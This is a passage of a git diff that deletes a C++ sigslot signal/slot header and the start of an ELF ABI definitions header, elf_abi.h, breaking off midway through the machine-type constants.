- - while(it != itEnd) - { - if((*it)->getdest() == oldtarget) - { - m_connected_slots.push_back((*it)->duplicate(newtarget)); - } - - ++it; - } - } - - ~_signal_base6() - { - disconnect_all(); - } - - void disconnect_all() - { - lock_block lock(this); - const_iterator it = m_connected_slots.begin(); - const_iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - (*it)->getdest()->signal_disconnect(this); - delete *it; - - ++it; - } - - m_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end()); - } - - void disconnect(has_slots* pclass) - { - lock_block lock(this); - iterator it = m_connected_slots.begin(); - iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - if((*it)->getdest() == pclass) - { - delete *it; - m_connected_slots.erase(it); - pclass->signal_disconnect(this); - return; - } - - ++it; - } - } - - bool connected() - { - return m_connected_slots.size() != 0; - } - - void slot_disconnect(has_slots* pslot) - { - lock_block lock(this); - iterator it = m_connected_slots.begin(); - iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - iterator itNext = it; - ++itNext; - - if((*it)->getdest() == pslot) - { - delete *it; - m_connected_slots.erase(it); - // delete *it; - } - - it = itNext; - } - } - - protected: - connections_list m_connected_slots; - }; - - template - class _signal_base7 : public _signal_base - { - public: - typedef std::list<_connection_base7 *> connections_list; - typedef typename connections_list::const_iterator const_iterator; - typedef typename connections_list::iterator iterator; - - _signal_base7() - { - ; - } - - _signal_base7(const _signal_base7& s) - : _signal_base(s) - { - lock_block lock(this); - const_iterator it = s.m_connected_slots.begin(); - const_iterator itEnd = s.m_connected_slots.end(); - - while(it != itEnd) - { - (*it)->getdest()->signal_connect(this); - m_connected_slots.push_back((*it)->clone()); - - ++it; - } - } - - void slot_duplicate(const has_slots* oldtarget, has_slots* newtarget) - { - lock_block lock(this); - iterator it = m_connected_slots.begin(); - iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - if((*it)->getdest() == oldtarget) - { - m_connected_slots.push_back((*it)->duplicate(newtarget)); - } - - ++it; - } - } - - ~_signal_base7() - { - disconnect_all(); - } - - void disconnect_all() - { - lock_block lock(this); - const_iterator it = m_connected_slots.begin(); - const_iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - (*it)->getdest()->signal_disconnect(this); - delete *it; - - ++it; - } - - m_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end()); - } - - void disconnect(has_slots* pclass) - { - lock_block lock(this); - iterator it = m_connected_slots.begin(); - iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - if((*it)->getdest() == pclass) - { - delete *it; - m_connected_slots.erase(it); - pclass->signal_disconnect(this); - return; - } - - ++it; - } - } - - bool connected() - { - return m_connected_slots.size() != 0; - } - - void slot_disconnect(has_slots* pslot) - { - lock_block lock(this); - iterator it = m_connected_slots.begin(); - iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - iterator itNext = it; - ++itNext; - - if((*it)->getdest() == pslot) - { - delete *it; - m_connected_slots.erase(it); - // delete *it; - } - - it = itNext; - } - } - - protected: - connections_list m_connected_slots; - }; - - template - class _signal_base8 : public _signal_base - { - public: - typedef std::list<_connection_base8 *> - connections_list; - typedef typename connections_list::const_iterator const_iterator; - typedef typename connections_list::iterator iterator; - - _signal_base8() - { - ; - } - - _signal_base8(const _signal_base8& s) - : _signal_base(s) - { - lock_block lock(this); - const_iterator it = s.m_connected_slots.begin(); - const_iterator itEnd = s.m_connected_slots.end(); - - while(it != itEnd) - { - (*it)->getdest()->signal_connect(this); - m_connected_slots.push_back((*it)->clone()); - - ++it; - } - } - - void slot_duplicate(const has_slots* oldtarget, has_slots* newtarget) - { - lock_block lock(this); - iterator it = m_connected_slots.begin(); - iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - if((*it)->getdest() == oldtarget) - { - m_connected_slots.push_back((*it)->duplicate(newtarget)); - } - - ++it; - } - } - - ~_signal_base8() - { - disconnect_all(); - } - - void disconnect_all() - { - lock_block lock(this); - const_iterator it = m_connected_slots.begin(); - const_iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - (*it)->getdest()->signal_disconnect(this); - delete *it; - - ++it; - } - - m_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end()); - } - - void disconnect(has_slots* pclass) - { - lock_block lock(this); - iterator it = m_connected_slots.begin(); - iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - if((*it)->getdest() == pclass) - { - delete *it; - m_connected_slots.erase(it); - pclass->signal_disconnect(this); - return; - } - - ++it; - } - } - - bool connected() - { - return m_connected_slots.size() != 0; - } - - void slot_disconnect(has_slots* pslot) - { - lock_block lock(this); - iterator it = m_connected_slots.begin(); - iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - iterator itNext = it; - ++itNext; - - if((*it)->getdest() == pslot) - { - delete *it; - m_connected_slots.erase(it); - // delete *it; - } - - it = itNext; - } - } - - protected: - connections_list m_connected_slots; - }; - - - template - class _connection0 : public _connection_base0 - { - public: - _connection0() - { - this->pobject = NULL; - this->pmemfun = NULL; - } - - _connection0(dest_type* pobject, void (dest_type::*pmemfun)()) - { - m_pobject = pobject; - m_pmemfun = pmemfun; - } - - virtual ~_connection0() - { - ; - } - - virtual _connection_base0* clone() - { - return new _connection0(*this); - } - - virtual _connection_base0* duplicate(has_slots* pnewdest) - { - return new _connection0((dest_type *)pnewdest, m_pmemfun); - } - - virtual void emit() - { - (m_pobject->*m_pmemfun)(); - } - - virtual has_slots* getdest() const - { - return m_pobject; - } - - private: - dest_type* m_pobject; - void (dest_type::* m_pmemfun)(); - }; - - template - class _connection1 : public _connection_base1 - { - public: - _connection1() - { - this->pobject = NULL; - this->pmemfun = NULL; - } - - _connection1(dest_type* pobject, void (dest_type::*pmemfun)(arg1_type)) - { - m_pobject = pobject; - m_pmemfun = pmemfun; - } - - virtual ~_connection1() - { - ; - } - - virtual _connection_base1* clone() - { - return new _connection1(*this); - } - - virtual _connection_base1* duplicate(has_slots* pnewdest) - { - return new _connection1((dest_type *)pnewdest, m_pmemfun); - } - - virtual void emit(arg1_type a1) - { - (m_pobject->*m_pmemfun)(a1); - } - - virtual has_slots* getdest() const - { - return m_pobject; - } - - private: - dest_type* m_pobject; - void (dest_type::* m_pmemfun)(arg1_type); - }; - - template - class _connection2 : public _connection_base2 - { - public: - _connection2() - { - this->pobject = NULL; - this->pmemfun = NULL; - } - - _connection2(dest_type* pobject, void (dest_type::*pmemfun)(arg1_type, - arg2_type)) - { - m_pobject = pobject; - m_pmemfun = pmemfun; - } - - virtual ~_connection2() - { - ; - } - - - virtual _connection_base2* clone() - { - return new _connection2(*this); - } - - virtual _connection_base2* duplicate(has_slots* pnewdest) - { - return new _connection2((dest_type *)pnewdest, m_pmemfun); - } - - virtual void emit(arg1_type a1, arg2_type a2) - { - (m_pobject->*m_pmemfun)(a1, a2); - } - - virtual has_slots* getdest() const - { - return m_pobject; - } - - private: - dest_type* m_pobject; - void (dest_type::* m_pmemfun)(arg1_type, arg2_type); - }; - - template - class _connection3 : public _connection_base3 - { - public: - _connection3() - { - this->pobject = NULL; - this->pmemfun = NULL; - } - - _connection3(dest_type* pobject, void (dest_type::*pmemfun)(arg1_type, - arg2_type, arg3_type)) - { - m_pobject = pobject; - m_pmemfun = pmemfun; - } - - virtual ~_connection3() - { - ; - } - - - virtual _connection_base3* clone() - { - return new _connection3(*this); - } - - virtual _connection_base3* duplicate(has_slots* pnewdest) - { - return new _connection3((dest_type *)pnewdest, m_pmemfun); - } - - virtual void emit(arg1_type a1, arg2_type a2, arg3_type a3) - { - (m_pobject->*m_pmemfun)(a1, a2, a3); - } - - virtual has_slots* getdest() const - { - return m_pobject; - } - - private: - dest_type* m_pobject; - void (dest_type::* m_pmemfun)(arg1_type, arg2_type, arg3_type); - }; - - template - class _connection4 : public _connection_base4 - { - public: - _connection4() - { - this->pobject = NULL; - this->pmemfun = NULL; - } - - _connection4(dest_type* pobject, void (dest_type::*pmemfun)(arg1_type, - arg2_type, arg3_type, arg4_type)) - { - m_pobject = pobject; - m_pmemfun = pmemfun; - } - - virtual ~_connection4() - { - ; - } - - virtual _connection_base4* clone() - { - return new _connection4(*this); - } - - virtual _connection_base4* duplicate(has_slots* pnewdest) - { - return new _connection4((dest_type *)pnewdest, m_pmemfun); - } - - virtual void emit(arg1_type a1, arg2_type a2, arg3_type a3, - arg4_type a4) - { - (m_pobject->*m_pmemfun)(a1, a2, a3, a4); - } - - virtual has_slots* getdest() const - { - return m_pobject; - } - - private: - dest_type* m_pobject; - void (dest_type::* m_pmemfun)(arg1_type, arg2_type, arg3_type, - arg4_type); - }; - - template - class _connection5 : public _connection_base5 - { - public: - _connection5() - { - this->pobject = NULL; - this->pmemfun = NULL; - } - - _connection5(dest_type* pobject, void (dest_type::*pmemfun)(arg1_type, - arg2_type, arg3_type, arg4_type, arg5_type)) - { - m_pobject = pobject; - m_pmemfun = pmemfun; - } - - virtual ~_connection5() - { - ; - } - - virtual _connection_base5* clone() - { - return new _connection5(*this); - } - - virtual _connection_base5* duplicate(has_slots* pnewdest) - { - return new _connection5((dest_type *)pnewdest, m_pmemfun); - } - - virtual void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, - arg5_type a5) - { - (m_pobject->*m_pmemfun)(a1, a2, a3, a4, a5); - } - - virtual has_slots* getdest() const - { - return m_pobject; - } - - private: - dest_type* m_pobject; - void (dest_type::* m_pmemfun)(arg1_type, arg2_type, arg3_type, arg4_type, - arg5_type); - }; - - template - class _connection6 : public _connection_base6 - { - public: - _connection6() - { - this->pobject = NULL; - this->pmemfun = NULL; - } - - _connection6(dest_type* pobject, void (dest_type::*pmemfun)(arg1_type, - arg2_type, arg3_type, arg4_type, arg5_type, arg6_type)) - { - m_pobject = pobject; - m_pmemfun = pmemfun; - } - - virtual ~_connection6() - { - ; - } - - virtual _connection_base6* clone() - { - return new _connection6(*this); - } - - virtual _connection_base6* duplicate(has_slots* pnewdest) - { - return new _connection6((dest_type *)pnewdest, m_pmemfun); - } - - virtual void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, - arg5_type a5, arg6_type a6) - { - (m_pobject->*m_pmemfun)(a1, a2, a3, a4, a5, a6); - } - - virtual has_slots* getdest() const - { - return m_pobject; - } - - private: - dest_type* m_pobject; - void (dest_type::* m_pmemfun)(arg1_type, arg2_type, arg3_type, arg4_type, - arg5_type, arg6_type); - }; - - template - class _connection7 : public _connection_base7 - { - public: - _connection7() - { - this->pobject = NULL; - this->pmemfun = NULL; - } - - _connection7(dest_type* pobject, void (dest_type::*pmemfun)(arg1_type, - arg2_type, arg3_type, arg4_type, arg5_type, arg6_type, arg7_type)) - { - m_pobject = pobject; - m_pmemfun = pmemfun; - } - - virtual ~_connection7() - { - ; - } - - virtual _connection_base7* clone() - { - return new _connection7(*this); - } - - virtual _connection_base7* duplicate(has_slots* pnewdest) - { - return new _connection7((dest_type *)pnewdest, m_pmemfun); - } - - virtual void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, - arg5_type a5, arg6_type a6, arg7_type a7) - { - (m_pobject->*m_pmemfun)(a1, a2, a3, a4, a5, a6, a7); - } - - virtual has_slots* getdest() const - { - return m_pobject; - } - - private: - dest_type* m_pobject; - void (dest_type::* m_pmemfun)(arg1_type, arg2_type, arg3_type, arg4_type, - arg5_type, arg6_type, arg7_type); - }; - - template - class _connection8 : public _connection_base8 - { - public: - _connection8() - { - this->pobject = NULL; - this->pmemfun = NULL; - } - - _connection8(dest_type* pobject, void (dest_type::*pmemfun)(arg1_type, - arg2_type, arg3_type, arg4_type, arg5_type, arg6_type, - arg7_type, arg8_type)) - { - m_pobject = pobject; - m_pmemfun = pmemfun; - } - - virtual ~_connection8() - { - ; - } - - virtual _connection_base8* clone() - { - return new _connection8(*this); - } - - virtual _connection_base8* duplicate(has_slots* pnewdest) - { - return new _connection8((dest_type *)pnewdest, m_pmemfun); - } - - virtual void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, - arg5_type a5, arg6_type a6, arg7_type a7, arg8_type a8) - { - (m_pobject->*m_pmemfun)(a1, a2, a3, a4, a5, a6, a7, a8); - } - - virtual has_slots* getdest() const - { - return m_pobject; - } - - private: - dest_type* m_pobject; - void (dest_type::* m_pmemfun)(arg1_type, arg2_type, arg3_type, arg4_type, - arg5_type, arg6_type, arg7_type, arg8_type); - }; - - template - class signal0 : public _signal_base0 - { - public: - typedef typename _signal_base0::connections_list::const_iterator const_iterator; - signal0() - { - ; - } - - signal0(const signal0& s) - : _signal_base0(s) - { - ; - } - - virtual ~signal0() - { - ; - } - - template - void connect(desttype* pclass, void (desttype::*pmemfun)()) - { - lock_block lock(this); - _connection0* conn = - new _connection0(pclass, pmemfun); - this->m_connected_slots.push_back(conn); - pclass->signal_connect(this); - } - - void emit() - { - lock_block lock(this); - const_iterator itNext, it = this->m_connected_slots.begin(); - const_iterator itEnd = this->m_connected_slots.end(); - - while(it != itEnd) - { - itNext = it; - ++itNext; - - (*it)->emit(); - - it = itNext; - } - } - - void operator()() - { - lock_block lock(this); - const_iterator itNext, it = this->m_connected_slots.begin(); - const_iterator itEnd = this->m_connected_slots.end(); - - while(it != itEnd) - { - itNext = it; - ++itNext; - - (*it)->emit(); - - it = itNext; - } - } - }; - - template - class signal1 : public _signal_base1 - { - public: - typedef typename _signal_base1::connections_list::const_iterator const_iterator; - signal1() - { - ; - } - - signal1(const signal1& s) - : _signal_base1(s) - { - ; - } - - virtual ~signal1() - { - ; - } - - template - void connect(desttype* pclass, void (desttype::*pmemfun)(arg1_type)) - { - lock_block lock(this); - _connection1* conn = - new _connection1(pclass, pmemfun); - this->m_connected_slots.push_back(conn); - pclass->signal_connect(this); - } - - void emit(arg1_type a1) - { - lock_block lock(this); - const_iterator itNext, it = this->m_connected_slots.begin(); - const_iterator itEnd = this->m_connected_slots.end(); - - while(it != itEnd) - { - itNext = it; - ++itNext; - - (*it)->emit(a1); - - it = itNext; - } - } - - void operator()(arg1_type a1) - { - lock_block lock(this); - const_iterator itNext, it = this->m_connected_slots.begin(); - const_iterator itEnd = this->m_connected_slots.end(); - - while(it != itEnd) - { - itNext = it; - ++itNext; - - (*it)->emit(a1); - - it = itNext; - } - } - }; - - template - class signal2 : public _signal_base2 - { - public: - typedef typename _signal_base2::connections_list::const_iterator const_iterator; - signal2() - { - ; - } - - signal2(const signal2& s) - : _signal_base2(s) - { - ; - } - - virtual ~signal2() - { - ; - } - - template - void connect(desttype* pclass, void (desttype::*pmemfun)(arg1_type, - arg2_type)) - { - lock_block lock(this); - _connection2* conn = new - _connection2(pclass, pmemfun); - this->m_connected_slots.push_back(conn); - pclass->signal_connect(this); - } - - void emit(arg1_type a1, arg2_type a2) - { - lock_block lock(this); - const_iterator itNext, it = this->m_connected_slots.begin(); - const_iterator itEnd = this->m_connected_slots.end(); - - while(it != itEnd) - { - itNext = it; - ++itNext; - - (*it)->emit(a1, a2); - - it = itNext; - } - } - - void operator()(arg1_type a1, arg2_type a2) - { - lock_block lock(this); - const_iterator itNext, it = this->m_connected_slots.begin(); - const_iterator itEnd = this->m_connected_slots.end(); - - while(it != itEnd) - { - itNext = it; - ++itNext; - - (*it)->emit(a1, a2); - - it = itNext; - } - } - }; - - template - class signal3 : public _signal_base3 - { - public: - typedef typename _signal_base3::connections_list::const_iterator const_iterator; - signal3() - { - ; - } - - signal3(const signal3& s) - : _signal_base3(s) - { - ; - } - - virtual ~signal3() - { - ; - } - - template - void connect(desttype* pclass, void (desttype::*pmemfun)(arg1_type, - arg2_type, arg3_type)) - { - lock_block lock(this); - _connection3* conn = - new _connection3(pclass, - pmemfun); - this->m_connected_slots.push_back(conn); - pclass->signal_connect(this); - } - - void emit(arg1_type a1, arg2_type a2, arg3_type a3) - { - lock_block lock(this); - const_iterator itNext, it = this->m_connected_slots.begin(); - const_iterator itEnd = this->m_connected_slots.end(); - - while(it != itEnd) - { - itNext = it; - ++itNext; - - (*it)->emit(a1, a2, a3); - - it = itNext; - } - } - - void operator()(arg1_type a1, arg2_type a2, arg3_type a3) - { - lock_block lock(this); - const_iterator itNext, it = this->m_connected_slots.begin(); - const_iterator itEnd = this->m_connected_slots.end(); - - while(it != itEnd) - { - itNext = it; - ++itNext; - - (*it)->emit(a1, a2, a3); - - it = itNext; - } - } - }; - - template - class signal4 : public _signal_base4 - { - public: - typedef typename _signal_base4::connections_list::const_iterator const_iterator; - signal4() - { - ; - } - - signal4(const signal4& s) - : _signal_base4(s) - { - ; - } - - virtual ~signal4() - { - ; - } - - template - void connect(desttype* pclass, void (desttype::*pmemfun)(arg1_type, - arg2_type, arg3_type, arg4_type)) - { - lock_block lock(this); - _connection4* - conn = new _connection4(pclass, pmemfun); - this->m_connected_slots.push_back(conn); - pclass->signal_connect(this); - } - - void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4) - { - lock_block lock(this); - const_iterator itNext, it = this->m_connected_slots.begin(); - const_iterator itEnd = this->m_connected_slots.end(); - - while(it != itEnd) - { - itNext = it; - ++itNext; - - (*it)->emit(a1, a2, a3, a4); - - it = itNext; - } - } - - void operator()(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4) - { - lock_block lock(this); - const_iterator itNext, it = this->m_connected_slots.begin(); - const_iterator itEnd = this->m_connected_slots.end(); - - while(it != itEnd) - { - itNext = it; - ++itNext; - - (*it)->emit(a1, a2, a3, a4); - - it = itNext; - } - } - }; - - template - class signal5 : public _signal_base5 - { - public: - typedef typename _signal_base5::connections_list::const_iterator const_iterator; - signal5() - { - ; - } - - signal5(const signal5& s) - : _signal_base5(s) - { - ; - } - - virtual ~signal5() - { - ; - } - - template - void connect(desttype* pclass, void (desttype::*pmemfun)(arg1_type, - arg2_type, arg3_type, arg4_type, arg5_type)) - { - lock_block lock(this); - _connection5* conn = new _connection5(pclass, pmemfun); - this->m_connected_slots.push_back(conn); - pclass->signal_connect(this); - } - - void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, - arg5_type a5) - { - lock_block lock(this); - const_iterator itNext, it = this->m_connected_slots.begin(); - const_iterator itEnd = this->m_connected_slots.end(); - - while(it != itEnd) - { - itNext = it; - ++itNext; - - (*it)->emit(a1, a2, a3, a4, a5); - - it = itNext; - } - } - - void operator()(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, - arg5_type a5) - { - lock_block lock(this); - const_iterator itNext, it = this->m_connected_slots.begin(); - const_iterator itEnd = this->m_connected_slots.end(); - - while(it != itEnd) - { - itNext = it; - ++itNext; - - (*it)->emit(a1, a2, a3, a4, a5); - - it = itNext; - } - } - }; - - - template - class signal6 : public _signal_base6 - { - public: - typedef typename _signal_base6::connections_list::const_iterator const_iterator; - signal6() - { - ; - } - - signal6(const signal6& s) - : _signal_base6(s) - { - ; - } - - virtual ~signal6() - { - ; - } - - template - void connect(desttype* pclass, void (desttype::*pmemfun)(arg1_type, - arg2_type, arg3_type, arg4_type, arg5_type, arg6_type)) - { - lock_block lock(this); - _connection6* conn = - new _connection6(pclass, pmemfun); - this->m_connected_slots.push_back(conn); - pclass->signal_connect(this); - } - - void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, - arg5_type a5, arg6_type a6) - { - lock_block lock(this); - const_iterator itNext, it = this->m_connected_slots.begin(); - const_iterator itEnd = this->m_connected_slots.end(); - - while(it != itEnd) - { - itNext = it; - ++itNext; - - (*it)->emit(a1, a2, a3, a4, a5, a6); - - it = itNext; - } - } - - void operator()(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, - arg5_type a5, arg6_type a6) - { - lock_block lock(this); - const_iterator itNext, it = this->m_connected_slots.begin(); - const_iterator itEnd = this->m_connected_slots.end(); - - while(it != itEnd) - { - itNext = it; - ++itNext; - - (*it)->emit(a1, a2, a3, a4, a5, a6); - - it = itNext; - } - } - }; - - template - class signal7 : public _signal_base7 - { - public: - typedef typename _signal_base7::connections_list::const_iterator const_iterator; - signal7() - { - ; - } - - signal7(const signal7& s) - : _signal_base7(s) - { - ; - } - - virtual ~signal7() - { - ; - } - - template - void connect(desttype* pclass, void (desttype::*pmemfun)(arg1_type, - arg2_type, arg3_type, arg4_type, arg5_type, arg6_type, - arg7_type)) - { - lock_block lock(this); - _connection7* conn = - new _connection7(pclass, pmemfun); - this->m_connected_slots.push_back(conn); - pclass->signal_connect(this); - } - - void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, - arg5_type a5, arg6_type a6, arg7_type a7) - { - lock_block lock(this); - const_iterator itNext, it = this->m_connected_slots.begin(); - const_iterator itEnd = this->m_connected_slots.end(); - - while(it != itEnd) - { - itNext = it; - ++itNext; - - (*it)->emit(a1, a2, a3, a4, a5, a6, a7); - - it = itNext; - } - } - - void operator()(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, - arg5_type a5, arg6_type a6, arg7_type a7) - { - lock_block lock(this); - const_iterator itNext, it = this->m_connected_slots.begin(); - const_iterator itEnd = this->m_connected_slots.end(); - - while(it != itEnd) - { - itNext = it; - ++itNext; - - (*it)->emit(a1, a2, a3, a4, a5, a6, a7); - - it = itNext; - } - } - }; - - template - class signal8 : public _signal_base8 - { - public: - typedef typename _signal_base8::connections_list::const_iterator const_iterator; - signal8() - { - ; - } - - signal8(const signal8& s) - : _signal_base8(s) - { - ; - } - - virtual ~signal8() - { - ; - } - - template - void connect(desttype* pclass, void (desttype::*pmemfun)(arg1_type, - arg2_type, arg3_type, arg4_type, arg5_type, arg6_type, - arg7_type, arg8_type)) - { - lock_block lock(this); - _connection8* conn = - new _connection8(pclass, pmemfun); - this->m_connected_slots.push_back(conn); - pclass->signal_connect(this); - } - - void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, - arg5_type a5, arg6_type a6, arg7_type a7, arg8_type a8) - { - lock_block lock(this); - const_iterator itNext, it = this->m_connected_slots.begin(); - const_iterator itEnd = this->m_connected_slots.end(); - - while(it != itEnd) - { - itNext = it; - ++itNext; - - (*it)->emit(a1, a2, a3, a4, a5, a6, a7, a8); - - it = itNext; - } - } - - void operator()(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, - arg5_type a5, arg6_type a6, arg7_type a7, arg8_type a8) - { - lock_block lock(this); - const_iterator itNext, it = this->m_connected_slots.begin(); - const_iterator itEnd = this->m_connected_slots.end(); - - while(it != itEnd) - { - itNext = it; - ++itNext; - - (*it)->emit(a1, a2, a3, a4, a5, a6, a7, a8); - - it = itNext; - } - } - }; - -}; // namespace sigslot - -#endif // SIGSLOT_H__ diff --git a/src/kernel/elf_abi.h b/src/kernel/elf_abi.h deleted file mode 100644 index 4d9c796..0000000 --- a/src/kernel/elf_abi.h +++ /dev/null @@ -1,591 +0,0 @@ -/* - * Copyright (c) 1995, 1996, 2001, 2002 - * Erik Theisen. All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * 3. The name of the author may not be used to endorse or promote products - * derived from this software without specific prior written permission - * - * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR - * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES - * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. - * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT - * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -/* - * This is the ELF ABI header file - * formerly known as "elf_abi.h". - */ - -#ifndef _ELF_ABI_H -#define _ELF_ABI_H - -/* - * This version doesn't work for 64-bit ABIs - Erik. - */ - -/* - * These typedefs need to be handled better. - */ -typedef unsigned int Elf32_Addr; /* Unsigned program address */ -typedef unsigned int Elf32_Off; /* Unsigned file offset */ -typedef signed int Elf32_Sword; /* Signed large integer */ -typedef unsigned int Elf32_Word; /* Unsigned large integer */ -typedef unsigned short Elf32_Half; /* Unsigned medium integer */ - -/* e_ident[] identification indexes */ -#define EI_MAG0 0 /* file ID */ -#define EI_MAG1 1 /* file ID */ -#define EI_MAG2 2 /* file ID */ -#define EI_MAG3 3 /* file ID */ -#define EI_CLASS 4 /* file class */ -#define EI_DATA 5 /* data encoding */ -#define EI_VERSION 6 /* ELF header version */ -#define EI_OSABI 7 /* OS/ABI specific ELF extensions */ -#define EI_ABIVERSION 8 /* ABI target version */ -#define EI_PAD 9 /* start of pad bytes */ -#define EI_NIDENT 16 /* Size of e_ident[] */ - -/* e_ident[] magic number */ -#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */ -#define ELFMAG1 'E' /* e_ident[EI_MAG1] */ -#define ELFMAG2 'L' /* e_ident[EI_MAG2] */ -#define ELFMAG3 'F' /* e_ident[EI_MAG3] */ -#define ELFMAG "\177ELF" /* magic */ -#define SELFMAG 4 /* size of magic */ - -/* e_ident[] file class */ -#define ELFCLASSNONE 0 /* invalid */ -#define ELFCLASsigned int 1 /* 32-bit objs */ -#define ELFCLASS64 2 /* 64-bit objs */ -#define ELFCLASSNUM 3 /* number of classes */ - -/* e_ident[] data encoding */ -#define ELFDATANONE 0 /* invalid */ -#define ELFDATA2LSB 1 /* Little-Endian */ -#define ELFDATA2MSB 2 /* Big-Endian */ -#define ELFDATANUM 3 /* number of data encode defines */ - -/* e_ident[] OS/ABI specific ELF extensions */ -#define ELFOSABI_NONE 0 /* No extension specified */ -#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */ -#define ELFOSABI_NETBSD 2 /* NetBSD */ -#define ELFOSABI_LINUX 3 /* Linux */ -#define ELFOSABI_SOLARIS 6 /* Sun Solaris */ -#define ELFOSABI_AIX 7 /* AIX */ -#define ELFOSABI_IRIX 8 /* IRIX */ -#define ELFOSABI_FREEBSD 9 /* FreeBSD */ -#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */ -#define ELFOSABI_MODESTO 11 /* Novell Modesto */ -#define ELFOSABI_OPENBSD 12 /* OpenBSD */ -/* 64-255 Architecture-specific value range */ - -/* e_ident[] ABI Version */ -#define ELFABIVERSION 0 - -/* e_ident */ -#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \ - (ehdr).e_ident[EI_MAG1] == ELFMAG1 && \ - (ehdr).e_ident[EI_MAG2] == ELFMAG2 && \ - (ehdr).e_ident[EI_MAG3] == ELFMAG3) - -/* ELF Header */ -typedef struct elfhdr{ - unsigned char e_ident[EI_NIDENT]; /* ELF Identification */ - Elf32_Half e_type; /* object file type */ - Elf32_Half e_machine; /* machine */ - Elf32_Word e_version; /* object file version */ - Elf32_Addr e_entry; /* virtual entry point */ - Elf32_Off e_phoff; /* program header table offset */ - Elf32_Off e_shoff; /* section header table offset */ - Elf32_Word e_flags; /* processor-specific flags */ - Elf32_Half e_ehsize; /* ELF header size */ - Elf32_Half e_phentsize; /* program header entry size */ - Elf32_Half e_phnum; /* number of program header entries */ - Elf32_Half e_shentsize; /* section header entry size */ - Elf32_Half e_shnum; /* number of section header entries */ - Elf32_Half e_shstrndx; /* section header table's "section - header string table" entry offset */ -} Elf32_Ehdr; - -/* e_type */ -#define ET_NONE 0 /* No file type */ -#define ET_REL 1 /* relocatable file */ -#define ET_EXEC 2 /* executable file */ -#define ET_DYN 3 /* shared object file */ -#define ET_CORE 4 /* core file */ -#define ET_NUM 5 /* number of types */ -#define ET_LOOS 0xfe00 /* reserved range for operating */ -#define ET_HIOS 0xfeff /* system specific e_type */ -#define ET_LOPROC 0xff00 /* reserved range for processor */ -#define ET_HIPROC 0xffff /* specific e_type */ - -/* e_machine */ -#define EM_NONE 0 /* No Machine */ -#define EM_M32 1 /* AT&T WE 32100 */ -#define EM_SPARC 2 /* SPARC */ -#define EM_386 3 /* Intel 80386 */ -#define EM_68K 4 /* Motorola 68000 */ -#define EM_88K 5 /* Motorola 88000 */ -#if 0 -#define EM_486 6 /* RESERVED - was Intel 80486 */ -#endif -#define EM_860 7 /* Intel 80860 */ -#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */ -#define EM_S370 9 /* IBM System/370 Processor */ -#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */ -#if 0 -#define EM_SPARC64 11 /* RESERVED - was SPARC v9 - 64-bit unoffical */ -#endif -/* RESERVED 11-14 for future use */ -#define EM_PARISC 15 /* HPPA */ -/* RESERVED 16 for future use */ -#define EM_VPP500 17 /* Fujitsu VPP500 */ -#define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */ -#define EM_960 19 /* Intel 80960 */ -#define EM_PPC 20 /* PowerPC */ -#define EM_PPC64 21 /* 64-bit PowerPC */ -#define EM_S390 22 /* IBM System/390 Processor */ -/* RESERVED 23-35 for future use */ -#define EM_V800 36 /* NEC V800 */ -#define EM_FR20 37 /* Fujitsu FR20 */ -#define EM_RH32 38 /* TRW RH-32 */ -#define EM_RCE 39 /* Motorola RCE */ -#define EM_ARM 40 /* Advanced 